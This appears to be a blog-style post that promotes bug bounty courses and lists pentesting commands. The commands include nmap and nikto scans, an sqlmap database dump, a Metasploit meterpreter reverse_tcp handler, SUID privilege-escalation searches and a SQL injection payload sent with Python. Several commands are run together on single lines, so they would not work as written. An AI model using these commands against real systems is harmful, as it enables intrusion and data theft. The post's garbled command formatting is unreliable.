Faiyaz Ahmad, an Offensive Security Engineer and Certified AppSec Pentester, has published three Udemy courses focused on bug bounty hunting and cybersecurity. These courses are designed to provide foundational knowledge and hands-on experience rather than false promises of quick riches.

You Should Know: Essential Commands and Techniques for Bug Bounty Hunters
To complement the courses, here are practical commands, tools, and techniques used in bug bounty hunting and cybersecurity:
1. Reconnaissance & Enumeration
- Subdomain Enumeration
subfinder -d example.com -o subdomains.txt assetfinder --subs-only example.com | tee -a subdomains.txt
- Port Scanning with Nmap
nmap -sV -T4 -p- -A -oA full_scan example.com
2. Web Vulnerability Scanning
- Nikto (Web Server Scanner)
nikto -h https://example.com
- SQL Injection Testing with SQLmap
sqlmap -u "https://example.com/login?id=1" --dbs
3. Exploitation & Post-Exploitation
- Metasploit Framework
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST <your-ip> exploit
- Privilege Escalation (Linux)
sudo -l find / -perm -4000 2>/dev/null
4. Automation with Bash & Python
- Bash Script for Quick Subdomain Takeover Check
for sub in $(cat subdomains.txt); do host $sub; done | grep "NXDOMAIN"
- Python HTTP Request for Testing Endpoints
import requests response = requests.get("https://example.com/api/data", params={"id": "1' OR '1'='1"}) print(response.text)
What Undercode Say
Bug bounty hunting requires persistence, continuous learning, and hands-on practice. Faiyaz Ahmad’s courses provide structured knowledge, but real success comes from applying techniques in real-world scenarios. Always test ethically, document findings, and contribute to the cybersecurity community.
Prediction
As cyber threats evolve, bug bounty programs will expand, creating more opportunities for skilled hunters. Automation and AI-assisted pentesting will rise, but manual expertise will remain critical.
Expected Output:
- Course Link: Udemy Bug Bounty Courses
- Tools Used: Nmap, SQLmap, Metasploit, Nikto, Subfinder
- Key Takeaway: Ethical hacking requires practice, not shortcuts.
